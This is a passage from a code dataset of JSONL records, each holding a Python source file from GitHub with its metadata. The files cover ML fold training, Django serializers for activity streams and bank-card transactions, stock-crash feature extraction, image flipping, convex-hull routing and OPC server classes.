"flask.jsonify", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 45, "usage_type": "call"}, {"api_name": "controlador.InsertarPartido", "line_number": 64, "usage_type": "call"}, {"api_name": "controlador.InsertarCargo", "line_number": 70, "usage_type": "call"}, {"api_name": "controlador.InsertarCandidato", "line_number": 76, "usage_type": "call"}, {"api_name": "controlador.InsertarDepartamento", "line_number": 82, "usage_type": "call"}, {"api_name": "controlador.InsertarMesa", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 91, "usage_type": "call"}, {"api_name": "controlador.InsertarCiudadano", "line_number": 102, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 104, "usage_type": "call"}, {"api_name": "votacionTemp.VotacionTemp", "line_number": 120, "usage_type": "call"}, {"api_name": "controlador.InsertarVotacion", "line_number": 129, "usage_type": "call"}, {"api_name": "controlador.InsertarCandidatoVotado", "line_number": 135, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 137, "usage_type": "call"}, {"api_name": "controlador.EliminarTablas", "line_number": 145, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 146, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 150, "usage_type": "call"}, {"api_name": "controlador.CrearTablas", "line_number": 157, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 158, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 162, "usage_type": "call"}, {"api_name": "controlador.LimpiarTablas", "line_number": 169, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 170, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 174, "usage_type": "call"}, {"api_name": "controlador.MostrarNumeroCandidatosDiputadosPorPartido", "line_number": 182, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 183, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 187, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 307, "usage_type": "call"}]}
{"seq_id": "16019355614", "text": "import os\nfrom .BacRunner import BacRunner\nfrom Logger import Logger\nimport torch\n\nclass FoldRunner(BacRunner):\n    def train(self, fold_gen, test_loader):\n        base_dir = self.save_dir\n        for i, (train_loader, val_loader) in enumerate(fold_gen):\n            self.net.module.init_weight()\n            self.optim = torch.optim.Adam(self.net.parameters(), lr=self.arg.lr, betas=self.arg.beta)\n            self.save_dir = base_dir + \"/fold%d\"%(i)\n            self.best_metric = -1 \n            if os.path.exists(self.save_dir) is False:\n                os.mkdir(self.save_dir)\n            self.logger = Logger(self.save_dir)\n            super().train(train_loader, val_loader, test_loader)\n        self.save_dir = base_dir\n\n    def test(self, fold_gen, test_loader):\n        base_dir = self.save_dir\n        test_acc = []\n        for i in range(3):\n            self.save_dir = base_dir + \"/fold%d\"%(i)\n            self.logger = Logger(self.save_dir)\n            super().load()\n            test_acc.append(super().test(test_loader, test_loader, test_loader)[2])\n        self.save_dir = base_dir\n        print(\"-------------\")\n        print(\"Fold 3 Result\")\n        print(\"1 : %.4f\\n2 : %.4f\\n3: %.4f\\n\"%(test_acc[0], test_acc[1], test_acc[2]))\n        print(\"Avg Test Acc : %.4f\\n\"%(sum(test_acc) / len(test_acc)))\n        print(\"-------------\")\n        \n    \n", "repo_name": "HyungJae-Lim/Project1-Rapid-Urinary-Tract-Infection", "sub_path": "tCNN/runners/FoldRunner.py", "file_name": "FoldRunner.py", "file_ext": "py", "file_size_in_byte": 1364, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "BacRunner.BacRunner", "line_number": 6, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 15, "usage_type": "call"}, {"api_name": "Logger.Logger", "line_number": 16, "usage_type": "call"}, {"api_name": "Logger.Logger", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "4259461162", "text": "from datahub.activity_stream.serializers import ActivitySerializer\nfrom datahub.interaction.models import Interaction\n\n\nclass InteractionActivitySerializer(ActivitySerializer):\n    \"\"\"Interaction serialiser for activity stream.\"\"\"\n\n    KINDS_JSON = {\n        Interaction.Kind.INTERACTION: 'Interaction',\n        Interaction.Kind.SERVICE_DELIVERY: 'ServiceDelivery',\n    }\n\n    class Meta:\n        model = Interaction\n\n    def _get_project_context(self, project):\n        return {} if project is None else {\n            'id': f'dit:DataHubInvestmentProject:{project.pk}',\n            'type': 'dit:InvestmentProject',\n            'name': project.name,\n            'url': project.get_absolute_url(),\n        }\n\n    def _get_event_context(self, event):\n        return {} if event is None else {\n            'id': f'dit:DataHubEvent:{event.pk}',\n            'type': 'dit:Event',\n            'dit:eventType': {'name': event.event_type.name},\n            'name': event.name,\n            'startTime': event.start_date,\n            'endTime': event.end_date,\n            'dit:team': self._get_team(event.lead_team),\n            'url': event.get_absolute_url(),\n        }\n\n    def _get_context(self, instance):\n        if instance.kind == Interaction.Kind.INTERACTION:\n            context = self._get_project_context(instance.investment_project)\n        elif instance.kind == Interaction.Kind.SERVICE_DELIVERY:\n            context = self._get_event_context(instance.event)\n        else:\n            context = {}\n        return context\n\n    def _get_dit_participants(self, participants):\n        return [\n            self._get_adviser_with_team(participant.adviser, participant.team)\n            for participant in participants.all()\n            if participant.adviser is not None\n        ]\n\n    def to_representation(self, instance):\n        \"\"\"\n        Serialize the interaction as per Activity Stream spec:\n        https://www.w3.org/TR/activitystreams-core/\n        \"\"\"\n        interaction_id = f'dit:DataHubInteraction:{instance.pk}'\n        interaction = {\n            'id': f'{interaction_id}:Announce',\n            'type': 'Announce',\n            'published': instance.created_on,\n            'generator': self._get_generator(),\n            'object': {\n                'id': interaction_id,\n                'type': [\n                    'dit:Event',\n                    f'dit:{self.KINDS_JSON[instance.kind]}',\n                    f'dit:datahub:theme:{instance.theme}',\n                ],\n                'content': instance.notes,\n                'startTime': instance.date,\n                'dit:status': instance.status,\n                'dit:archived': instance.archived,\n                'dit:subject': instance.subject,\n                'dit:business_intelligence': instance.was_policy_feedback_provided,\n                'attributedTo': [\n                    *self._get_companies(instance.companies),\n                    *self._get_dit_participants(instance.dit_participants),\n                    *self._get_contacts(instance.contacts),\n                ],\n                'url': instance.get_absolute_url(),\n            },\n        }\n\n        context = self._get_context(instance)\n        if context:\n            interaction['object']['context'] = [context]\n\n        if (\n            instance.kind == Interaction.Kind.INTERACTION\n            and instance.communication_channel is not None\n        ):\n            interaction['object']['dit:communicationChannel'] = {\n                'name': instance.communication_channel.name,\n            }\n\n        if instance.service is not None:\n            interaction['object']['dit:service'] = {\n                'name': instance.service.name,\n            }\n\n        if instance.helped_remove_export_barrier:\n            interaction['object']['dit:exportBarrierTypes'] = [\n                {'name': barrier.name} for barrier in instance.export_barrier_types.all()\n            ]\n            if instance.export_barrier_notes != '':\n                interaction['object']['dit:exportBarrierNotes'] = instance.export_barrier_notes\n\n        return interaction\n", "repo_name": "uktrade/data-hub-api", "sub_path": "datahub/activity_stream/interaction/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 4090, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datahub.activity_stream.serializers.ActivitySerializer", "line_number": 5, "usage_type": "name"}, {"api_name": "datahub.interaction.models.Interaction.Kind", "line_number": 9, "usage_type": "attribute"}, {"api_name": "datahub.interaction.models.Interaction", "line_number": 9, "usage_type": "name"}, {"api_name": "datahub.interaction.models.Interaction.Kind", "line_number": 10, "usage_type": "attribute"}, {"api_name": "datahub.interaction.models.Interaction", "line_number": 10, "usage_type": "name"}, {"api_name": "datahub.interaction.models.Interaction", "line_number": 14, "usage_type": "name"}, {"api_name": "datahub.interaction.models.Interaction.Kind", "line_number": 37, "usage_type": "attribute"}, {"api_name": "datahub.interaction.models.Interaction", "line_number": 37, "usage_type": "name"}, {"api_name": "datahub.interaction.models.Interaction.Kind", "line_number": 39, "usage_type": "attribute"}, {"api_name": "datahub.interaction.models.Interaction", "line_number": 39, "usage_type": "name"}, {"api_name": "datahub.interaction.models.Interaction.Kind", "line_number": 90, "usage_type": "attribute"}, {"api_name": "datahub.interaction.models.Interaction", "line_number": 90, "usage_type": "name"}]}
{"seq_id": "36009584955", "text": "import numpy as np\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import GradientBoostingClassifier as gdbt\nfrom sklearn.metrics import precision_score, accuracy_score, recall_score\nfrom matplotlib import pyplot as plt\n\n\ndef get_max_crash(series):\n    curr_max = series[0]\n    max_crash = 0\n    for i in range(1, len(series)):\n        curr_max = max(curr_max, series[i])\n        max_crash = min(max_crash, series[i] - curr_max)\n        \n    return abs(max_crash / curr_max)\n\n\ndef get_features(dataframe, upper_shadow_threshold=0.2):\n    feature = list()\n    close_diff = dataframe['close'].diff()\n    close_diff[close_diff >= 0] = 0\n    close_diff[close_diff < 0] = 1\n    consecutive_decrease = close_diff * (close_diff.groupby((close_diff != close_diff.shift()).cumsum()).cumcount() \n                                         + 1)\n    feature.append(consecutive_decrease.max())\n        \n    ma5_diff = dataframe['ma5'].diff()\n    ma10_diff = dataframe['ma10'].diff()\n    ma20_diff = dataframe['ma20'].diff()\n    ma5_diff[ma5_diff >= 0] = 0\n    ma10_diff[ma10_diff >= 0] = 0\n    ma20_diff[ma20_diff >= 0] = 0\n    ma5_diff[ma5_diff < 0] = 1\n    ma10_diff[ma10_diff < 0] = 1\n    ma20_diff[ma20_diff < 0] = 1\n    \n    ma5_decrease = ma5_diff * (ma5_diff.groupby((ma5_diff != ma5_diff.shift()).cumsum()).cumcount() + 1)\n    ma10_decrease = ma10_diff * (ma10_diff.groupby((ma10_diff != ma10_diff.shift()).cumsum()).cumcount() + 1)\n    ma20_decrease = ma20_diff * (ma20_diff.groupby((ma20_diff != ma20_diff.shift()).cumsum()).cumcount() + 1)\n    \n    feature.append(ma5_decrease.max())\n    feature.append(ma10_decrease.max())\n    feature.append(ma20_decrease.max())\n\n    ma10 = dataframe['ma10']\n    ma20 = dataframe['ma20']\n    condition_green = dataframe['close'] < dataframe['open']\n    \n    if (ma10[-1] > ma10[0]) and (ma20[-1] > ma20[0]):\n        condition_upper_shadow = (dataframe['high'] - dataframe['open']) / (dataframe['open'] - dataframe['close'])\n        condition_upper_shadow = condition_upper_shadow > upper_shadow_threshold\n        condition = condition_green & condition_upper_shadow\n        feature.append(condition[condition == True].shape[0])\n    else:\n        feature.append(0)\n    \n    ma_max = dataframe[['ma5', 'ma10', 'ma20']].max(1)\n    ma_min = dataframe[['ma5', 'ma10', 'ma20']].min(1)\n    condition_sickle = (dataframe['open'] > ma_max) & (dataframe['close'] < ma_min)\n    condition_sickle = condition_green & condition_sickle\n    feature.append(condition_sickle[condition_sickle == True].shape[0] > 0)\n    return feature\n    \n\ndef generate_train_test_samples(df, train_interval, test_interval, upper_shadow_threshold=0.2):\n    features = list()\n    labels = list()\n    for i in range(0, df.shape[0]-train_interval-test_interval):\n        df_train = df.iloc[i: i+train_interval]\n        feature = get_features(df_train, upper_shadow_threshold=upper_shadow_threshold)\n        features.append(feature)\n        df_test = df.iloc[i+train_interval: i+train_interval+test_interval]\n        max_crash = get_max_crash(df_test['close'])\n        labels.append(max_crash)\n    return np.array(features), np.array(labels)\n\n\ndef tumble_predict_experiment(model, df_train, df_test, train_interval, test_interval, upper_shadow_threshold,\n                              crash_threshold):\n\n    x_train, y_train = generate_train_test_samples(df_train, train_interval, test_interval,\n                                                   upper_shadow_threshold=upper_shadow_threshold)\n    x_test, y_test = generate_train_test_samples(df_test, train_interval, test_interval,\n                                                 upper_shadow_threshold=upper_shadow_threshold)\n\n    label_train = np.copy(y_train)\n    label_train[label_train > crash_threshold] = 1\n    label_train[label_train <= crash_threshold] = 0\n\n    label_test = np.copy(y_test)\n    label_test[label_test > crash_threshold] = 1\n    label_test[label_test <= crash_threshold] = 0\n\n    model.fit(x_train, label_train)\n    label_train_predict = model.predict(x_train)\n    label_test_predict = model.predict(x_test)\n\n    print('In train data:')\n    _experiment(df_train, label_train, label_train_predict)\n    print('In test data:')\n    _experiment(df_test, label_test, label_test_predict)\n\n\ndef _experiment(df, label, label_predict):\n    print('All samples num: {}'.format(label.shape[0]))\n    print('Positive samples num: {}'.format(label[label == 1].shape[0]))\n\n    p = precision_score(label, label_predict)\n    r = recall_score(label, label_predict)\n    print('Precision: {}, recall: {}'.format(p, r))\n\n    tp_fp = label_predict[label_predict == 1].shape[0]\n    tp = tp_fp * p\n    fn = (1 - r) * tp / r\n    print('TP: {}, FP: {}, FN: {}'.format(tp, tp_fp - tp, fn))\n\n    positive_indices = [i for i, v in enumerate(label) if v == 1]\n    predict_positive_indices = [i for i, v in enumerate(label_predict) if v == 1]\n\n    fig, (ax1, ax2, ax3, ax4) = plt.subplots(nrows=4, ncols=1)\n    fig.set_figwidth(16)\n    fig.set_figheight(12)\n\n    ax1.plot(df['close'].values)\n    ax2.plot(df['close'].values)\n    ax3.plot(df['close'].values)\n    ax4.plot(df['close'].values)\n\n    tp = [x for x in positive_indices if x in predict_positive_indices]\n    fn = [x for x in positive_indices if x not in predict_positive_indices]\n    fp = [x for x in predict_positive_indices if x not in positive_indices]\n\n    print('tp: {}, fn: {}, np: {}'.format(len(tp), len(fn), len(fp)))\n\n    for i in positive_indices:\n        ax1.axvline(x=i, c='yellow')\n\n    for i in tp:\n        ax2.axvline(x=i, c='yellow')\n    for i in fn:\n        ax3.axvline(x=i, c='red')\n    for i in fp:\n        ax4.axvline(x=i, c='blue')\n    \n    plt.show()\n    plt.close()\n\n'''\nfrom matplotlib import pyplot as plt\nfrom matplotlib.animation import FuncAnimation\n\npositive_indices = [i for i, v in enumerate(label) if v == 1]\n\nfig, ax = plt.subplots()\nfig.set_tight_layout(True)\nfig.set_figheight(6)\nfig.set_figwidth(16)\n\n# Plot a scatter that persists (isn't redrawn) and the initial line.\nax.plot(df['close'].values)\n\nline1 = ax.axvline(x=positive_indices[0], c='red')\nline2 = ax.axvline(x=positive_indices[0] + 42, c='yellow')\nline3 = ax.axvline(x=positive_indices[0] + 63, c='blue')\n\ndef update(i):\n    label = 'Crash rate: {}'.format(y[positive_indices[i]])\n    # Update the line and the axes (with a new xlabel). Return a tuple of\n    # \"artists\" that have to be redrawn for this frame.\n    line1.set_xdata(positive_indices[i])\n    line2.set_xdata(positive_indices[i] + 42)\n    line3.set_xdata(positive_indices[i] + 63)\n    ax.set_xlabel(label)\n    return line1, line2, line3, ax\n\nanim = FuncAnimation(fig, update, frames=len(positive_indices), interval=200)\nanim.save('test1.gif', dpi=80, writer='imagemagick')\n'''\n", "repo_name": "supermizar/mt", "sub_path": "python/experiment/tumble_predict.py", "file_name": "tumble_predict.py", "file_ext": "py", "file_size_in_byte": 6759, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.array", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 90, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_score", "line_number": 108, "usage_type": "call"}, {"api_name": "sklearn.metrics.recall_score", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}]}
{"seq_id": "30856354739", "text": "from PIL import Image\n\n# to open an image named obtained.png\nimg = Image.open(\"obtained.png\")\n\n# transposing\ntransposed_img = img.transpose(Image.FLIP_LEFT_RIGHT)\n\n#save to a new file\ntransposed_img.save('complete.png')\nprint(\"flipping done\")\n", "repo_name": "ashish116/Python_Projects", "sub_path": "Image_mirroring.py", "file_name": "Image_mirroring.py", "file_ext": "py", "file_size_in_byte": 243, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PIL.Image.open", "line_number": 4, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 4, "usage_type": "name"}, {"api_name": "PIL.Image.FLIP_LEFT_RIGHT", "line_number": 7, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 7, "usage_type": "name"}]}
{"seq_id": "401890959", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n:Project: routing_emulator\n:File: algorithm.py\n\n:Author: Tanbixuan\n:Created: 2020-04-24\n\"\"\"\n\nfrom scipy.spatial import ConvexHull\nfrom math import fabs, pow, sqrt\nimport pygame\n\ndef get_dis(pointX, pointY, lineX1, lineY1, lineX2, lineY2):\n    a = lineY2 - lineY1\n    b = lineX1 - lineX2\n    c = lineX2 * lineY1 - lineX1 * lineY2\n    try:\n        dis = (fabs(a * pointX + b * pointY + c)) / (pow(a * a + b * b, 0.5))\n    except ZeroDivisionError as e:\n        print(e)\n        raise\n    return dis\n\ndef get_second_value(elem):\n    return elem[1]\n\n\nclass RoutingAlgorithm(object):\n    def __init__(self, test_config,):\n        self.test_config = test_config\n\n\n    def get_convex_hulls(self):\n        floating_node_list = self.test_config.floating_node_list\n        self.node_list = [x.location[0] for x in floating_node_list]\n        for node in self.node_list:\n            node[0] += 51\n            node[1] += 51\n        self.hull = ConvexHull(self.node_list)\n        self.fill_color = [0xE8, 0xFF, 0xFF]\n        self.map_size = self.test_config.map_size\n        self.hull_image = pygame.Surface([self.map_size, self.map_size])\n        self.hull_image.fill(self.fill_color)\n        self.hull_image.set_colorkey(self.fill_color)\n        self.line_color = [0x88, 0x11, 0x66]\n        self.ori_target_list = list(self.hull.vertices)\n        for i in range(len(self.ori_target_list)):\n            self.ori_target_list[i] = int(self.ori_target_list[i])\n\n        for floating_node in floating_node_list:\n            if floating_node.id not in self.ori_target_list:\n                cur_id = floating_node.id\n                min_dis = 100000\n                insert_index = 0\n                x = self.node_list[cur_id][0]\n                y = self.node_list[cur_id][1]\n\n                \"\"\" loop in ori_target_list to search witch edge to add into \"\"\"\n                for i in range(len(self.ori_target_list) - 1):\n                    point1 = self.node_list[self.ori_target_list[i]]\n                    point2 = self.node_list[self.ori_target_list[i + 1]]\n                    line_x1 = point1[0]\n                    line_y1 = point1[1]\n                    line_x2 = point2[0]\n                    line_y2 = point2[1]\n\n                    cur_dis = get_dis(self.node_list[cur_id][0],\n                                  self.node_list[cur_id][1],\n                                  line_x1,\n                                  line_y1,\n                                  line_x2,\n                                  line_y2)\n                    dis1 = sqrt((line_x1 - x) ** 2 + (line_y1 - y) ** 2)\n                    dis2 = sqrt((line_x2 - x) ** 2 + (line_y2 - y) ** 2)\n                    if not (x > line_x1 and x < line_x2):\n                        if cur_dis < min(dis1, dis2):\n                            cur_dis = min(dis1, dis2)\n                    if cur_dis < min_dis:\n                        min_dis = cur_dis\n                        insert_index = i\n\n                if min_dis <= floating_node.worth_value * 30:\n                    \"\"\" insert the into the selected edge \"\"\"\n                    self.ori_target_list = self.ori_target_list[:insert_index + 1] + \\\n                                           [cur_id] + self.ori_target_list[insert_index + 1:]\n\n                    \"\"\" resort the nodes beside insert_index \"\"\"\n                    resort_list = self.ori_target_list[insert_index: insert_index + 3]\n                    resort_point_position = [[self.node_list[x][0], self.node_list[x][1]] for x in resort_list]\n                    dis1 = sqrt((resort_point_position[0][0] - resort_point_position[1][0]) ** 2 +\n                                (resort_point_position[0][1] - resort_point_position[1][1]) ** 2)\n                    dis2 = sqrt((resort_point_position[0][0] - resort_point_position[2][0]) ** 2 +\n                                (resort_point_position[0][1] - resort_point_position[2][1]) ** 2)\n                    if dis1 > dis2:\n                        resort_list[1], resort_list[2] = resort_list[2], resort_list[1]\n                    self.ori_target_list = self.ori_target_list[:insert_index] + resort_list + \\\n                                           self.ori_target_list[insert_index + 3:]\n\n        point_list = [self.node_list[x] for x in self.ori_target_list]\n        pygame.draw.lines(self.hull_image, self.line_color, True, point_list, 3)\n", "repo_name": "TanB1xuan/routing_emulator", "sub_path": "routing_emulator/algorithm.py", "file_name": "algorithm.py", "file_ext": "py", "file_size_in_byte": 4390, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "math.fabs", "line_number": 19, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 19, "usage_type": "call"}, {"api_name": "scipy.spatial.ConvexHull", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 43, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 74, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 75, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 91, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 93, "usage_type": "call"}, {"api_name": "pygame.draw.lines", "line_number": 101, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 101, "usage_type": "attribute"}]}
{"seq_id": "31673611708", "text": "from asyncio.tasks import Task\nfrom asyncua import Client\nfrom asyncua.common.subscription import Subscription\n\n\nclass Node:\n    \"\"\"\n    Класс для хранения информации об узле из excel документа\n    Не путать с Node из asyncua!\n    \"\"\"\n    def __init__(self, item: str, key: str, node_id: str):\n        \"\"\"\n        :param item: Имя узла\n        :param key: Ключ для получения показаний через api\n        :param node_id: Адрес узла в OPC-сервере\n        \"\"\"\n        self.item = item\n        self.key = key\n        self.node_id = node_id\n\n    def __str__(self):\n        return f\"Node with Item = {self.item}, Key = {self.key}, Node_id = {self.node_id}\"\n\n\nclass ServerStatus():\n    \"\"\"\n    Класс для представления информации о состоянии сервера.\n    \"\"\"\n    def __init__(self, connected: bool = False, service_level: int = 0):\n        \"\"\"\n        :param connected: Подключение к серверу\n        :param service_level: Значение service level узла сервера (при наличии)\n        \"\"\"\n        self.connected = connected\n        self.service_level = service_level\n\n\nclass ConnectionParams():\n    \"\"\"\n    Дополнительные параметры для работы с подключением к серверу\n    \"\"\"\n    def __init__(self, client: Client = None, subscription: Subscription = None, handles=None, connection_task: Task = None):\n        \"\"\"\n        :param client: Экземпляр OPC-клиента\n        :param subscription: Экземпляр объекта подписки\n        :param handles: Список элементов для отмены подписки\n        :param connection_task: Задача на подключение к серверу\n        \"\"\"\n        if handles is None:\n            handles = []\n        self.client = client\n        self.subscription = subscription\n        self.handles = handles\n        self.connection_task = connection_task\n\n\nclass Server():\n    \"\"\"\n    Класс для представления OPC-сервера\n    \"\"\"\n    def __init__(self, name: str, address: str = None, nodes=None, status: ServerStatus = ServerStatus(),\n                 connection_params: ConnectionParams = None):\n        \"\"\"\n        :param name: Имя сервера (Имя листа сервера из excel документа)\n        :param address: Адрес сервера из конфиг файла\n        :param nodes: Список узлов из excel документа\n        :param status: Класс для представления информации о состоянии сервера\n        :param connection_params: Дополнительные параметры для работы с подключением к серверу\n        \"\"\"\n        if nodes is None:\n            nodes = []\n        self.name = name\n        self.address = address\n        self.nodes = nodes\n        self.status = status\n        self.connection_params = connection_params\n\n    def __str__(self):\n        return f\"Server with name {self.name}, address {self.address} and {len(self.nodes)} nodes\"", "repo_name": "MiroslavZ/opc2zabbix2", "sub_path": "app/additional_classes.py", "file_name": "additional_classes.py", "file_ext": "py", "file_size_in_byte": 3260, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "asyncua.Client", "line_number": 42, "usage_type": "name"}, {"api_name": "asyncua.common.subscription.Subscription", "line_number": 42, "usage_type": "name"}, {"api_name": "asyncio.tasks.Task", "line_number": 42, "usage_type": "name"}]}
{"seq_id": "43348741465", "text": "from rest_framework import serializers\n\nfrom auth_.models import MainUser, Profile\nfrom credit_cards.models import CreditCard\nfrom transactions.services import add_bonuses_to_card\n\nfrom .models import Transaction\n\n\nclass TransactionTransferSerializer(serializers.ModelSerializer):\n    author = serializers.HiddenField(default=serializers.CurrentUserDefault())\n    source_card = serializers.CharField(min_length=16, max_length=16)\n    destination_card = serializers.CharField(min_length=16, max_length=16)\n    amount = serializers.FloatField()\n    metadata = serializers.JSONField(required=False, allow_null=True)\n\n    class Meta:\n        model = Transaction\n        fields = (\n            \"author\",\n            \"source_card\",\n            \"destination_card\",\n            \"amount\",\n            \"metadata\",\n        )\n\n    def validate(self, attrs):\n        if not attrs[\"source_card\"].isnumeric():\n            raise serializers.ValidationError(\n                \"Source card number should be digits only\"\n            )\n        if not attrs[\"destination_card\"].isnumeric():\n            raise serializers.ValidationError(\n                \"Destination card number should be digits only\"\n            )\n        return attrs\n\n    def create(self, validated_data):\n        user = validated_data.get(\"author\")\n        amount = validated_data.get(\"amount\")\n        source_card_number = validated_data.get(\"source_card\")\n        destination_card_number = validated_data.get(\"destination_card\")\n\n        if source_card_number == destination_card_number:\n            raise serializers.ValidationError(\"Cannot transfer to the same card\")\n\n        source_card = CreditCard.objects.filter(\n            user=user, card_number=source_card_number\n        ).first()\n\n        if not source_card:\n            raise serializers.ValidationError(\"Source card not found\")\n\n        destination_card = CreditCard.objects.filter(\n            card_number=destination_card_number\n        ).first()\n\n        if source_card.balance < amount:\n            raise serializers.ValidationError(\"Not enough balance on card\")\n        source_card.balance -= amount\n        if not destination_card:\n            source_card.balance -= Transaction.COMMISSION\n            source_card.save()\n            transaction_instance = Transaction.objects.create(\n                author=user,\n                source_card=source_card,\n                amount=amount,\n                transaction_type=Transaction.TRANSFER_TO_OTHER_BANK,\n                commission=Transaction.COMMISSION,\n            )\n            return transaction_instance\n\n        destination_card.balance += amount\n        source_card.save()\n        destination_card.save()\n        transaction_instance = Transaction.objects.create(\n            author=user,\n            source_card=source_card,\n            destination_card=destination_card,\n            amount=amount,\n            transaction_type=Transaction.TRANSFER,\n        )\n        return transaction_instance\n\n\nclass TransactionPaySerializer(serializers.ModelSerializer):\n    author = serializers.HiddenField(default=serializers.CurrentUserDefault())\n\n    class Meta:\n        model = Transaction\n        fields = (\"author\", \"amount\")\n\n    def create(self, validated_data):\n        user = validated_data.get(\"author\")\n        amount = validated_data.get(\"amount\")\n        credit_card = CreditCard.objects.filter(user=user, is_main=True).first()\n        if credit_card.balance < amount:\n            raise serializers.ValidationError(\"Not enough balance on card\")\n        credit_card.balance -= amount\n        add_bonuses_to_card(credit_card, amount)\n        transaction_instance = Transaction.objects.create(\n            author=user,\n            source_card=credit_card,\n            amount=amount,\n            transaction_type=Transaction.PAYOUT,\n        )\n        return transaction_instance\n\n\nclass TransactionPayCreditCardNestedSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = CreditCard\n        fields = (\n            \"id\",\n            \"card_number\",\n            \"balance\",\n            \"bonuses\",\n        )\n\n\nclass TransactionPayDetailSerializer(serializers.ModelSerializer):\n    source_card = TransactionPayCreditCardNestedSerializer()\n\n    class Meta:\n        model = Transaction\n        fields = (\n            \"id\",\n            \"author\",\n            \"source_card\",\n            \"amount\",\n            \"transaction_type\",\n        )\n\n\nclass TransactionTransferCreditCardNestedSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = CreditCard\n        fields = (\n            \"id\",\n            \"card_number\",\n        )\n\n\nclass TransactionTransferDetailSerializer(serializers.ModelSerializer):\n    source_card = TransactionPayCreditCardNestedSerializer()\n\n    class Meta:\n        model = Transaction\n        fields = (\n            \"id\",\n            \"author\",\n            \"source_card\",\n            \"amount\",\n            \"transaction_type\",\n            \"commission\",\n        )\n\n\nclass TransactionCreditCardNestedSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = CreditCard\n        fields = (\"card_number\",)\n\n\nclass TransactionListSerializer(serializers.ModelSerializer):\n    source_card = TransactionCreditCardNestedSerializer()\n    destination_card = TransactionCreditCardNestedSerializer()\n\n    class Meta:\n        model = Transaction\n        fields = (\n            \"id\",\n            \"source_card\",\n            \"destination_card\",\n            \"amount\",\n            \"transaction_type\",\n            \"commission\",\n        )\n\n\nclass TransactionDetailSerializer(serializers.ModelSerializer):\n    class TransactionUserNestedSerializer(serializers.ModelSerializer):\n        class ProfileNestedSerializer(serializers.ModelSerializer):\n            class Meta:\n                model = Profile\n                fields = (\n                    \"first_name\",\n                    \"last_name\",\n                )\n\n        profile = ProfileNestedSerializer()\n\n        class Meta:\n            model = MainUser\n            fields = (\"id\", \"profile\")\n\n    source_card = TransactionCreditCardNestedSerializer()\n    destination_card = TransactionCreditCardNestedSerializer()\n    author = TransactionUserNestedSerializer()\n\n    class Meta:\n        model = Transaction\n        fields = (\n            \"id\",\n            \"author\",\n            \"source_card\",\n            \"destination_card\",\n            \"amount\",\n            \"transaction_type\",\n            \"commission\",\n        )\n", "repo_name": "methodDen/WebDev_Final", "sub_path": "transactions/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 6480, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 10, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 10, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HiddenField", "line_number": 11, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 11, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CurrentUserDefault", "line_number": 11, "usage_type": "call"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 12, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 12, 